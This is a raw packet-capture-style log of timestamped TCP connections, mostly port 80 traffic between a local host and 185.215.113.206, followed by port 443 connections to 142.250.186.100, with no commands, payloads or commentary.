Nov 12, 2024 02:13:10.068380117 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068392038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068401098 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.068434000 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.108345985 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.108397961 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.108402014 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.108416080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.108448982 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.108459949 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.108464003 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.108473063 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.108505964 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109164000 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109177113 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109189987 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109215021 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109215975 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109226942 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109236956 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109237909 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109256029 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109272003 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109297991 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109364033 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109375000 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109385014 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109399080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109411001 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109431982 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109453917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109600067 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109646082 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109652042 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109659910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109688997 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109704018 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109711885 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109719992 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109730959 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109743118 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109751940 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109775066 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109781981 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.109798908 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.109827042 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.157085896 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.157130957 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.157144070 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.157165051 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.157166004 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.157181025 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.157190084 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.157193899 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.157221079 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.157239914 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184343100 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184355021 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184403896 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184417963 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184427977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184541941 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184542894 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184542894 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184777021 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184788942 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184801102 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184813976 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184827089 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184828997 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184844017 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184851885 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184859037 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184871912 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184878111 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184885979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184897900 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184907913 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184910059 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.184926987 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184951067 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.184983015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.185482025 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185534000 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.185540915 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185566902 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185578108 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185587883 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.185612917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.185781956 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185795069 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185806036 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.185831070 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.185859919 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.225562096 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.225577116 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.225605965 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.225620985 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.225622892 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.225634098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.225661039 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.225686073 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226147890 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226160049 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226176977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226188898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226198912 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226233006 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226243973 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226248980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226269007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226279020 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226280928 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226294994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226305962 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226341963 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226445913 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226489067 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226528883 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226541042 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226552963 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226574898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226591110 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226742029 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226783991 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226831913 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226845026 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226861000 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226872921 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226874113 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226886034 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.226897001 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226907015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.226942062 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.227266073 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.227281094 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.227330923 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.274308920 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.274352074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.274364948 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.274378061 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.274405956 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.274432898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.274457932 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.274590015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.274590015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.274590015 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301539898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301606894 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301620007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301631927 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301644087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301723957 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301734924 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301739931 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301739931 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301739931 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301748037 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301765919 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301800966 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301877022 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301923990 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.301959991 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301971912 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.301985979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302002907 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302002907 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302016973 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302022934 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302045107 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302081108 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302510977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302524090 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302535057 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302546024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302556992 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302565098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302576065 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302578926 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302592993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302602053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.302608013 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302630901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.302649021 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.303036928 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.303050995 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.303061962 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.303083897 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.303107023 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.342736006 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.342753887 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.342771053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.342781067 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.342792988 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.342916965 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.342916965 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343189001 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343199968 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343221903 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343235016 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343245029 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343245029 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343261003 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343270063 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343293905 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343338013 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343496084 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343511105 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343522072 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343547106 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343575001 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343708992 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343724966 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343738079 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343750000 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.343777895 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343801975 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.343993902 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344050884 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.344093084 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344105005 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344116926 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344126940 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344139099 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344146967 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.344151974 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344166994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344185114 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.344204903 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.344579935 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344594002 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.344636917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.384308100 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.384320974 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.384426117 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.391237974 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.391258001 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.391268969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.391438007 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.391438007 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.418621063 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418634892 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418659925 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418673038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418684959 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418767929 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418780088 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418792009 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418797970 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.418797970 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.418812037 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418822050 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.418826103 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.418842077 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.418870926 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419131041 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419181108 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419190884 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419229984 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419248104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419270039 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419334888 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419347048 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419358969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419369936 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419385910 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419409990 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419656038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419682026 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419694901 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419704914 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419717073 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419723988 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419728994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.419739008 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.419759989 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.420171976 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.420188904 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.420211077 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.420219898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.420222044 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.420234919 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.420258999 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.420293093 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.459793091 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.459806919 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.459819078 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.459830999 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.459846973 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.459863901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:12.559551001 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:12.559628963 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:12.893774033 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:12.893821001 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:12.893908978 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:12.894572973 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:12.894588947 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:12.906436920 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:12.906456947 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:12.906536102 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:12.906737089 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:12.906749964 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.048121929 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.048146009 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.048235893 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.048434019 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.048444986 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.048903942 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.048933983 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.049000025 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.049140930 CET	49739	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.049158096 CET	443	49739	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.746422052 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.746723890 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.746737003 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.747705936 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.747759104 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.749278069 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.749351025 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.749440908 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.749447107 CET	443	49734	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.761779070 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.762059927 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.762068987 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.763045073 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.763108015 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.763403893 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.763462067 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.763607979 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.763614893 CET	443	49737	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.793823957 CET	49734	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.809320927 CET	49737	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.893558979 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.893827915 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.893843889 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.894712925 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.894773960 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.895153046 CET	49738	443	192.168.2.4	142.250.186.100
Nov 12, 2024 02:13:13.895210981 CET	443	49738	142.250.186.100	192.168.2.4
Nov 12, 2024 02:13:13.895286083 CET	49738	443	192.168.2.4	142.250.186.100
